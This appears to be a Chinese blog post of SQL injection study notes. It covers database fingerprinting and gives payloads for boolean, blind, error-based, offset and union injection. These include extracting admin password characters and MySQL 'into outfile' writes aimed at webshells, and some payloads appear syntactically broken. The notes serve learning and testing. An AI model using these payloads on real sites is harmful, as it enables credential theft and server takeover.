1. 程式人生 > 實用技巧 >sql注入的一些筆記

sql注入的一些筆記

SQL注入詳解

據不完全統計,國內網站ASP+Access或SQLServer佔70%以上,PHP+MySQL佔20%。

一般asp+access組合比較多,aspx+mssql(SQL Server)組合比較多

常用資料庫

常見的資料庫有Oracle、MySQL、SQL Server、Access、MSsql、mongodb等

關係型資料庫通過外來鍵關聯來建立表與表之間的關係,非關係資料庫通常指資料以物件的形式儲存在資料庫中,而物件之間的關係通過每個物件自身的屬性來決定。

基於特定函式判斷sql注入資料庫型別方法

len()和length()

在mssql和mysql以及db2內,返回長度值呼叫len()函式;在oracle和INFORMIX則是通過length()來返回長度值。

當你使用and len('a')=1的時候,返回正常頁面時,可以推斷當前資料庫型別可能是mssql,或mysql或是db2,反之可能會是orcale和informix.(這裡有代繼續考究)

@@version和version()

在mysql內,可以用@@version或是version()來返回當前的版本資訊。但是無法判斷mysql還是mssql時,可以用version()函式來構造判斷。

version()>1返回與@@version>1相同頁面時,則可能是mysql。如果出現提示version()錯誤時,則可能是mssql。

substring()和substr()

在mssql中可以呼叫substring()。oracle則只可以呼叫substr()。

length()  lengthb()  char_length()

1、Oracle: length(): 表示字串長度 lengthb():表示字串的位元組長度

2、mysql: length():返回字串所佔的位元組數 char_length():返回字串的字元數

資料庫判斷

(1)註釋符判斷

–-是 Oracle 和 MSSQL 支援的註釋符,如果返回正常,則說明為是這兩種資料庫型別之一

;是子句查詢識別符號,Oracle 不支援多行查詢,因此如果返回錯誤,則說明很可能是 Oracle

(2)函式判斷

注意:Access只有一個數據庫,直接猜解表名即可

and ( select count(*) from sys.usr_tables) > 0 oracle資料庫

and (select count(*) from msysobjects) > 0 -返回許可權不足為access資料庫

and (select count(*)from MSysAccessObjects)>0 返回正確為access 資料庫

and (select count(*)from sysobjects)>0 返回正常說明是 mssql 資料庫

and length(user())>10 返回正常說明是 Mysql

Oracle 可以根據 from dual 虛擬庫判斷

對了,判斷注入點忘記說了

數字型:id=2-1

字元型: ’ 、’)、 '))、 "、 ")、 "))

註釋符:-- (這是–空格)、–+、/**/、#

通過觀察頁面是否正常,判斷頁面是否存在注入點

如 id=21’ and 1=1 %23 頁面正常

id=21’ and 1=2 %23 頁面返回無資料

MySQL 與 MSSQL 及 ACCESS 之間的區別

(1)MySQL5.0 以下沒有 information_schema 這個預設資料庫

(2)ACCESS 沒有庫名,只有表和欄位,並且注入時,後面必須跟表名,因此只能爆表,ACCESS

舉例:select 1,2,3 from table_name union select 1,2,3 from table_name

(3)MySQL 使用 limit 排序,ACCESS 使用 TOP 排序(TOP 在 MSSQL 也可使用)

各資料庫標誌性資訊

sql server: select @@version --

Oracle : select banner from v$version

mysql :select @@version, version() --

length(user)>0正常

postgresql: select version() --

各資料庫特有的函式:

sql server: @@pack_received @@rowcount

mysql: connection_id() last_insert_id() row_count()

oracle: bitand(1,1)

postgresql: select extract( dow from row())

對於字串處理方式:

sql server: id=1 and 'a'+'b'='ab' --

mssql: id=1 and 'a' + 'b' = 'ab'

mysql: id= 1 and 'a'+'b'='ab' ,'ab'=concat('a' , 'b')

oracle: id=1 and 'a'+'b' = 'a' || 'b' , 'ab'=concat('a' , 'b')

postgresql: id=1 and 'a' + 'b' = 'a' || 'b', 'ab' = concat('a' , 'b')

特殊符號,註釋的判斷

1、"null" 和 "%00" 是Access支援的註釋

2、";" 是子句查詢識別符號,在Oracle中不支援多行查詢,返回錯誤,很可能是Oracle資料庫。

(SQL Server) MSsql服務、埠、字尾

埠:1433

字尾:cracer.mdf

日誌檔案字尾:cracer_log.ldf

mssql資料庫許可權

sa許可權:資料庫操作,檔案管理,命令執行,登錄檔讀取等system

db許可權:檔案管理,資料庫操作等users-administrators

public許可權:資料庫操作guest-users

SQL Server有一些系統變數,如果伺服器IIS提示沒關閉,並且SQL Server返回錯誤提示的話,那可以直接從出錯資訊的獲取,方法如下:

?id=49 and user>0

這句語句很簡單,但卻包含了SQL Server特有注入方法的精髓,我自己也是在一次無意的測試中發現這種效率極高的猜解方法。先看看含義,前面語句正常,重點在and user>0, user是SQL Server的一個內建變數,它的值是當前連線的使用者名稱,型別為nvarchar。拿一個nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQL Server的出錯提示是:將nvarchar值"abc"轉換資料型別為int的列時發生語法錯誤,abc正是變數user的值,這樣,就拿到了資料庫的使用者名稱。

常用測試語句:

and exists(select* from sysobjects)    //判斷資料庫是否為SQLServer
and exists(select * from tableName) //判斷某表是否存在..tableName為表名
and 1=(select @@VERSION) //SQLServer版本
and 1=(select db_name()) //當前資料庫名
and 1=(select @@servername) //本地服務名
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判斷是否是系統管理員
and 1=(select IS_MEMBER('db_owner')) //判斷是否是庫許可權
and 1=(select HAS_DBACCESS('master')) //判斷是否有庫讀取許可權
and 1=(select count(*) from master.dbo.sysobjects where xtype ='X' and name='xp_cmdshell') //判斷XP_CMDSHELL是否存在

注入的分類

內聯注入

布林注入

報錯注入

延時注入

堆疊注入

常識:

Access中,中文的ASCII碼可能會出現負數,取出該負數後用abs()取絕對值,漢字字元不變。

SQL Server中,中文的ASCII為正數,由於UNICODE的雙位編碼,不能用函式ascii()取得ASCII碼,必須用函式unicode()返回unicode值,再用nchar函式取得對應的中文字元。

Access注入及其常見函式

猜解表名:and exists( select * from 表名)

猜解列名:and exists (select 列名 from 表名)

猜解使用者名稱和密碼長度

and ( select top 1 len(列名 ) from 表名) = X ----x代表數字,返回正確代表所猜的列名長度為這個數字

如:

判斷使用者名稱長度是否大於零:and ( select top 1 len( username) from admin) > 0

猜解使用者和密碼的ascii碼

這裡應該採用截半法來提高效率。ascii碼 0-126

這裡假設使用者為:admin 密碼為:admin888,猜出來的ascii碼用轉換工具轉換下就可以得出明文

and ( select top 1 asc( mid( username,1,1)) from admin) > 97

and ( select top 1 asc( mid( username,1,1)) from admin) = 97

and ( select top 1 asc( mid( username,2,1)) from admin) = 100

and ( select top 1 asc( mid( username,3,1)) from admin) = 109

and ( select top 1 asc( mid( username,4,1)) from admin) = 105

偏移注入

利用 “* ”代替admin表記憶體在的欄位

1、假設order by 判斷欄位為18

2、union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from admin

3、當成功時說明admin下為15個欄位,一直到返回列名(不一定成功)

?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin ?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin ?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin

偏移注入的基本公式為:

order by 出的欄位數減去*號欄位數,然後再用order by的欄位數減去2倍剛才得出的答案

也就是 18-15 = 3

18 - 3*2 = 12

最後注入

asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from ( admin as a inner join admin as b on a.id = b.id)

跨庫查詢(需要知道另一個數據庫絕對路徑和表名、欄位名)

?id = 1 union select 1,2,3,password,5,6 from [另一個數據庫的絕對路徑].需要查詢的表

Mysql注入

mysql資料庫在滲透過程中能夠使用的功能還是比較多的,除了讀取資料之外,還可以進行對檔案進行讀寫(前提是許可權足夠)。

讀取前提:

1.使用者許可權足夠高,儘量具有root許可權。

2.secure_file_priv不為NULL。

3.獲取web目錄的物理路徑。

Mysql用secure_file_priv這個配置項來完成對資料匯入匯出的限制。如果secure_file_priv=NULL,Mysql服務會禁止匯入和匯出操作。通過命令檢視secure_file_priv的當前值,確認是否允許匯入匯出以及匯出檔案路徑。
show variables like '%secure_file_priv';

MySQL中root使用者擁有所有許可權,但寫入webshell並不需要一定是root使用者許可權,比如資料庫使用者只要擁有file許可權就可以執行select into outfile操作。

當secure_file_priv檔案匯出路徑與web目錄路徑重疊,寫入webshell才可以被訪問到。

檔案注入

?id=0 union select 1,'test',3,4,5 into outfile 'c:\\111.txt' # 向系統寫入檔案

?id=0 union select 1,load_file('c:\\ 111.txt'),3,4,5 #回顯內容 證明寫入成功

盲注

and (select length(database())) > 4 #判斷資料庫名稱長度

and (select ascii(substr (database(),1,1))) >119 #判斷當前資料庫第一個字母是什麼

報錯注入

and select 1 from ( select count(*), concat(version(),floor(rand(0)*2))) x from information_schema.tables group by x) a ) 通過floor 報錯

or 1 group by concat_ws(0x7e,version() , floor( rand ( 0*2 )) having min(0) or 1 #通過floor報錯

and extractvalue( 1, concat( 0x5c, (select version ()))) #利用extractvalue函式報錯(長度有限制,最長32位)

and 1 = (updatexml(1,concat(0x23,(select version())),1)) #利用updatexml函式報錯(長度有限制,最長32位)